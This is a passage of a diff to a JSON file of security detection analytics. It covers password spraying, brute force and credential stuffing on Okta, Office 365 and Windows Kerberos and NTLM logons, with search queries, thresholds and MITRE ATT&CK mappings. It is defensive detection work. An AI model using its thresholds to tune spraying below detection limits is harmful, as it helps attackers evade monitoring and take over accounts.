unique_accounts > 10 | `o365_multiple_users_failing_to_authenticate_from_ip_filter`", - "tags": { - "analytic_story": [ - "NOBELIUM Group", - "Office 365 Account Takeover" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Source Ip $src_ip$ failed to authenticate with 20 users within 5 minutes.", - "risk_score": 63, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "Okta Account Locked Out", - "description": "**DEPRECATION NOTE** - This search has been deprecated and replaced with `Okta Multiple Accounts Locked Out`. The following analytic utilizes the user.acount.lock event to identify associates who are locked out of Okta. An adversary attempting to brute force or password spray account names may lock accounts out depending on the threshold.", - "search": "`okta` eventType=user.account.lock | stats count min(_time) as firstTime max(_time) as lastTime values(displayMessage) values(src_user) as user by src_ip eventType status | where count >=3 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `okta_account_locked_out_filter`", - "tags": { - "analytic_story": [ - "Okta MFA Exhaustion", - "Suspicious Okta Activity" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "$src_user$ account has been locked out.", - "risk_score": 64, - "security_domain": "access", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Okta Two or More Rejected Okta Pushes", - "description": "**DEPRECATION NOTE** - This search has been deprecated and replaced with `Okta Multiple Failed MFA Requests For User`. The following analytic identifies an account that has rejected more than 2 Push notifications in a 10 minute window. Modify this query for your environment by upping the count or time window.", - "search": "`okta` outcome.reason=\"User rejected Okta push verify\" OR (debugContext.debugData.factor=\"OKTA_VERIFY_PUSH\" outcome.result=FAILURE legacyEventType=\"core.user.factor.attempt_fail\" \"target{}.detailEntry.methodTypeUsed\"=\"Get a push notification\") | bin _time as bin_time span=10m | eval user=coalesce(actor.alternateId,user), user=mvindex(split(user, \"@\"), 0), event_time = _time | stats earliest(event_time) as event_time, min(_time) as firsttime max(_time) as lasttime values(client.ipAddress) as client.ipAddress, values(outcome.reason) as outcome, values(src_ip) AS src_ip, values(client.userAgent.rawUserAgent) as user_agent, values(eventType) as eventType, values(outcome.result) as action, values(legacyEventType) as legacyEventType values(index) as idx, values(sourcetype) as st count by bin_time user host | rename bin_time as timeWindow | convert ctime(*timeWindow) ctime(firsttime) ctime(lasttime) | where count >= 2 | `okta_two_or_more_rejected_okta_pushes_filter`", - "tags": { - "analytic_story": [ - "Okta MFA Exhaustion", - "Suspicious Okta Activity" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "$user$ account has rejected multiple Okta pushes.", - "risk_score": 64, - "security_domain": "access", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Windows Local Administrator Credential Stuffing", - "description": "The following analytic detects attempts to authenticate using the built-in local Administrator account across more than 30 endpoints within a 5-minute window. It leverages Windows Event Logs, specifically events 4625 and 4624, to identify this behavior. This activity is significant as it may indicate an adversary attempting to validate stolen local credentials across multiple hosts, potentially leading to privilege escalation. If confirmed malicious, this could allow the attacker to gain widespread access and control over numerous systems within the network, posing a severe security risk.", - "search": " `wineventlog_security` EventCode=4625 OR EventCode=4624 Logon_Type=3 TargetUserName=Administrator | bucket span=5m _time | stats dc(Computer) AS unique_targets values(Computer) as host_targets by _time, IpAddress, TargetUserName, EventCode | where unique_targets > 30 | `windows_local_administrator_credential_stuffing_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Active Directory Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "host_targets", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "IpAddress", - "type": "Endpoint", - "role": [ - "Attacker" - ] - } - ], - "message": "Local Administrator credential stuffing attack coming from $IpAddress$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "Windows Multiple Disabled Users Failed To Authenticate Wth Kerberos", - "description": "The following analytic detects a single source endpoint failing to authenticate with 30 unique disabled domain users using the Kerberos protocol within 5 minutes. It leverages Windows Security Event 4768, focusing on failure code `0x12`, indicating revoked credentials. This activity is significant as it may indicate a Password Spraying attack targeting disabled accounts, a tactic used by adversaries to gain initial access or elevate privileges. If confirmed malicious, this could lead to unauthorized access or privilege escalation within the Active Directory environment, posing a severe security risk.", - "search": "`wineventlog_security` EventCode=4768 TargetUserName!=*$ Status=0x12 | bucket span=5m _time | stats dc(TargetUserName) AS unique_accounts values(TargetUserName) as user by _time, IpAddress | where unique_accounts > 30 | `windows_multiple_disabled_users_failed_to_authenticate_wth_kerberos_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "Active Directory Password Spraying", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "IpAddress", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential Kerberos based password spraying attack from $IpAddress$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Windows Multiple Invalid Users Fail To Authenticate Using Kerberos", - "description": "The following analytic identifies a source endpoint failing to authenticate with 30 unique invalid domain users using the Kerberos protocol. This detection leverages EventCode 4768, specifically looking for failure code 0x6, indicating the user is not found in the Kerberos database. This activity is significant as it may indicate a Password Spraying attack, where an adversary attempts to gain initial access or elevate privileges. If confirmed malicious, this could lead to unauthorized access or privilege escalation within the Active Directory environment, posing a significant security risk.", - "search": "`wineventlog_security` EventCode=4768 TargetUserName!=*$ Status=0x6 | bucket span=5m _time | stats dc(TargetUserName) AS unique_accounts values(TargetUserName) as user by _time, IpAddress | where unique_accounts > 30 | `windows_multiple_invalid_users_fail_to_authenticate_using_kerberos_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "Active Directory Password Spraying", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "IpAddress", - "type": "Endpoint", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential Kerberos based password spraying attack from $IpAddress$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Windows Multiple Invalid Users Failed To Authenticate Using NTLM", - "description": "The following analytic detects a single source endpoint failing to authenticate with 30 unique invalid users using the NTLM protocol. It leverages EventCode 4776 from Domain Controller logs, focusing on error code 0xC0000064, which indicates non-existent usernames. This behavior is significant as it may indicate a Password Spraying attack, where an adversary attempts to gain initial access or elevate privileges. If confirmed malicious, this activity could lead to unauthorized access, privilege escalation, and potential compromise of sensitive information within the Active Directory environment.", - "search": " `wineventlog_security` EventCode=4776 TargetUserName!=*$ Status=0xc0000064 | bucket span=5m _time | stats dc(TargetUserName) AS unique_accounts values(TargetUserName) as tried_accounts by _time, Workstation | where unique_accounts > 30 | `windows_multiple_invalid_users_failed_to_authenticate_using_ntlm_filter`", - "tags": { - "analytic_story": [ - "Active Directory Password Spraying", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Workstation", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Potential NTLM based password spraying attack from $Workstation$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Windows Multiple Users Fail To Authenticate Wth ExplicitCredentials", - "description": "The following analytic identifies a source user failing to authenticate with 30 unique users using explicit credentials on a host. It leverages Windows Event 4648, which is generated when a process attempts an account logon by explicitly specifying account credentials. This detection is significant as it may indicate a Password Spraying attack, where an adversary attempts to gain initial access or elevate privileges within an Active Directory environment. If confirmed malicious, this activity could lead to unauthorized access, privilege escalation, and potential compromise of sensitive information.", - "search": " `wineventlog_security` EventCode=4648 Caller_User_Name!=*$ Target_User_Name!=*$ | bucket span=5m _time | stats dc(Target_User_Name) AS unique_accounts values(Target_User_Name) as tried_account by _time, Computer, Caller_User_Name | where unique_accounts > 30 | `windows_multiple_users_fail_to_authenticate_wth_explicitcredentials_filter`", - "tags": { - "analytic_story": [ - "Active Directory Password Spraying", - "Insider Threat", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Potential password spraying attack from $Computer$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Windows Multiple Users Failed To Authenticate From Host Using NTLM", - "description": "The following analytic identifies a single source endpoint failing to authenticate with 30 unique valid users using the NTLM protocol. It leverages EventCode 4776 from Domain Controller logs, focusing on error code 0xC000006A, which indicates a bad password. This behavior is significant as it may indicate a Password Spraying attack, where an adversary attempts to gain initial access or elevate privileges. If confirmed malicious, this activity could lead to unauthorized access to sensitive information or further compromise of the Active Directory environment.", - "search": " `wineventlog_security` EventCode=4776 TargetUserName!=*$ Status=0xC000006A | bucket span=5m _time | stats dc(TargetUserName) AS unique_accounts values(TargetUserName) as tried_accounts by _time, Workstation | where unique_accounts > 30 | `windows_multiple_users_failed_to_authenticate_from_host_using_ntlm_filter`", - "tags": { - "analytic_story": [ - "Active Directory Password Spraying", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Workstation", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Potential NTLM based password spraying attack from $Workstation$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Windows Multiple Users Failed To Authenticate From Process", - "description": "The following analytic detects a source process failing to authenticate with 30 unique users, indicating a potential Password Spraying attack. It leverages Windows Event 4625 with Logon Type 2, collected from domain controllers, member servers, and workstations. This activity is significant as it may represent an adversary attempting to gain initial access or elevate privileges within an Active Directory environment. If confirmed malicious, this could lead to unauthorized access, privilege escalation, or further compromise of the network, posing a severe security risk.", - "search": " `wineventlog_security` EventCode=4625 Logon_Type=2 ProcessName!=\"-\" | bucket span=5m _time | stats dc(TargetUserName) AS unique_accounts values(TargetUserName) as tried_accounts by _time, ProcessName, SubjectUserName, Computer | rename Computer as dest | where unique_accounts > 30 | `windows_multiple_users_failed_to_authenticate_from_process_filter`", - "tags": { - "analytic_story": [ - "Active Directory Password Spraying", - "Insider Threat", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Potential password spraying attack from $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Windows Multiple Users Failed To Authenticate Using Kerberos", - "description": "The following analytic identifies a single source endpoint failing to authenticate with 30 unique users using the Kerberos protocol. It leverages EventCode 4771 with Status 0x18, indicating wrong password attempts, and aggregates these events over a 5-minute window. This behavior is significant as it may indicate a Password Spraying attack, where an adversary attempts to gain initial access or elevate privileges in an Active Directory environment. If confirmed malicious, this activity could lead to unauthorized access, privilege escalation, and potential compromise of sensitive information.", - "search": "`wineventlog_security` EventCode=4771 TargetUserName!=\"*$\" Status=0x18 | bucket span=5m _time | stats dc(TargetUserName) AS unique_accounts values(TargetUserName) as user by _time, IpAddress | where unique_accounts > 30 | `windows_multiple_users_failed_to_authenticate_using_kerberos_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "Active Directory Password Spraying", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "IpAddress", - "type": "Endpoint", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential Kerberos based password spraying attack from $IpAddress$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, + "parsed_datasets": [], + "possible_detections": [ { - "name": "Windows Multiple Users Remotely Failed To Authenticate From Host", - "description": "The following analytic identifies a source host failing to authenticate against a remote host with 30 unique users. It leverages Windows Event 4625 with Logon Type 3, indicating remote authentication attempts. This behavior is significant as it may indicate a Password Spraying attack, where an adversary attempts to gain initial access or elevate privileges in an Active Directory environment. If confirmed malicious, this activity could lead to unauthorized access, privilege escalation, and potential compromise of sensitive information. This detection is crucial for real-time security monitoring and threat hunting.", - "search": " `wineventlog_security` EventCode=4625 Logon_Type=3 IpAddress!=\"-\" | bucket span=5m _time | stats dc(TargetUserName) AS unique_accounts values(TargetUserName) as tried_accounts by _time, IpAddress, Computer | rename Computer as dest| where unique_accounts > 30 | `windows_multiple_users_remotely_failed_to_authenticate_from_host_filter`", - "tags": { - "analytic_story": [ - "Active Directory Password Spraying", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Potential password spraying attack on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } + "technique_id": "T1110", + "technique": "Brute Force", + "tactic": [ + "credential-access" + ], + "platform": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Google Workspace", + "Containers" + ], + "data_source": "user account", + "definition": "The representation of a user, device, service or application that access resources within a network environment. It has login capabilities and can be authenticated by an operating system, application or platform.", + "collection_layers": [ + "host", + "cloud", + "container" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS", + "SaaS", + "Office 365", + "Azure AD", + "Containers", + "Google Workspace" + ], + "contributors": [ + "ATT&CK", + "CTID" + ], + "data_component": "user account authentication", + "type": "activity", + "description": "A user account authenticated onto a system.", + "source_data_element": "user", + "relationship": "attempted to authenticate to", + "target_data_element": "computer", + "references": [ + "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-principals" + ] }, { - "name": "Windows Unusual Count Of Disabled Users Failed Auth Using Kerberos", - "description": "The following analytic identifies a source endpoint failing to authenticate with multiple disabled domain users using the Kerberos protocol. It leverages EventCode 4768, which is generated when the Key Distribution Center issues a Kerberos Ticket Granting Ticket (TGT) and detects failure code `0x12` (credentials revoked). This behavior is significant as it may indicate a Password Spraying attack targeting disabled accounts, potentially leading to initial access or privilege escalation. If confirmed malicious, attackers could gain unauthorized access or elevate privileges within the Active Directory environment.", - "search": "`wineventlog_security` EventCode=4768 TargetUserName!=*$ Status=0x12 | bucket span=5m _time | stats dc(TargetUserName) AS unique_accounts values(TargetUserName) as user by _time, IpAddress | eventstats avg(unique_accounts) as comp_avg , stdev(unique_accounts) as comp_std by IpAddress | eval upperBound=(comp_avg+comp_std*3) | eval isOutlier=if(unique_accounts > 10 and unique_accounts >= upperBound, 1, 0) | search isOutlier=1 | `windows_unusual_count_of_disabled_users_failed_auth_using_kerberos_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "Active Directory Password Spraying", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "IpAddress", - "type": "Endpoint", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential Kerberos based password spraying attack from $IpAddress$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } + "technique_id": "T1110", + "technique": "Brute Force", + "tactic": [ + "credential-access" + ], + "platform": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Google Workspace", + "Containers" + ], + "data_source": "user account", + "definition": "The representation of a user, device, service or application that access resources within a network environment. It has login capabilities and can be authenticated by an operating system, application or platform.", + "collection_layers": [ + "host", + "cloud", + "container" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS", + "SaaS", + "Office 365", + "Azure AD", + "Containers", + "Google Workspace" + ], + "contributors": [ + "ATT&CK", + "CTID" + ], + "data_component": "user account authentication", + "type": "activity", + "description": "A user account authenticated onto a system.", + "source_data_element": "user", + "relationship": "attempted to authenticate to", + "target_data_element": "application", + "references": [ + "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-principals" + ] }, { - "name": "Windows Unusual Count Of Invalid Users Fail To Auth Using Kerberos", - "description": "The following analytic identifies a source endpoint failing to authenticate with multiple invalid domain users using the Kerberos protocol. It leverages Event ID 4768, which is generated when the Key Distribution Center issues a Kerberos Ticket Granting Ticket (TGT) and detects failure code 0x6, indicating the user is not found in the Kerberos database. This behavior is significant as it may indicate a Password Spraying attack, where an adversary attempts to gain initial access or elevate privileges. If confirmed malicious, this activity could lead to unauthorized access and potential privilege escalation within the Active Directory environment.", - "search": "`wineventlog_security` EventCode=4768 TargetUserName!=*$ Status=0x6 | bucket span=5m _time | stats dc(TargetUserName) AS unique_accounts values(TargetUserName) as user by _time, IpAddress | eventstats avg(unique_accounts) as comp_avg , stdev(unique_accounts) as comp_std by IpAddress | eval upperBound=(comp_avg+comp_std*3) | eval isOutlier=if(unique_accounts > 10 and unique_accounts >= upperBound, 1, 0) | search isOutlier=1 | `windows_unusual_count_of_invalid_users_fail_to_auth_using_kerberos_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "Active Directory Password Spraying", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "IpAddress", - "type": "Endpoint", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential Kerberos based password spraying attack from $IpAddress$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } + "technique_id": "T1110", + "technique": "Brute Force", + "tactic": [ + "credential-access" + ], + "platform": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Google Workspace", + "Containers" + ], + "data_source": "user account", + "definition": "The representation of a user, device, service or application that access resources within a network environment. It has login capabilities and can be authenticated by an operating system, application or platform.", + "collection_layers": [ + "host", + "cloud", + "container" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS", + "SaaS", + "Office 365", + "Azure AD", + "Containers", + "Google Workspace" + ], + "contributors": [ + "ATT&CK", + "CTID" + ], + "data_component": "user account authentication", + "type": "activity", + "description": "A user account authenticated onto a system.", + "source_data_element": "user", + "relationship": "attempted to authenticate to", + "target_data_element": "cloud service", + "references": [ + "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-principals" + ] }, { - "name": "Windows Unusual Count Of Invalid Users Failed To Auth Using NTLM", - "description": "The following analytic identifies a source endpoint failing to authenticate with multiple invalid users using the NTLM protocol. It leverages EventCode 4776 and calculates the standard deviation for each host, using the 3-sigma rule to detect anomalies. This behavior is significant as it may indicate a Password Spraying attack, where an adversary attempts to gain initial access or elevate privileges. If confirmed malicious, this activity could lead to unauthorized access or privilege escalation, posing a significant threat to the Active Directory environment. This detection is focused on domain controllers.", - "search": " `wineventlog_security` EventCode=4776 TargetUserName!=*$ Status=0xc0000064 | bucket span=2m _time | stats dc(TargetUserName) AS unique_accounts values(TargetUserName) as user by _time, Workstation | eventstats avg(unique_accounts) as comp_avg , stdev(unique_accounts) as comp_std by Workstation | eval upperBound=(comp_avg+comp_std*3) | eval isOutlier=if(unique_accounts > 10 and unique_accounts >= upperBound, 1, 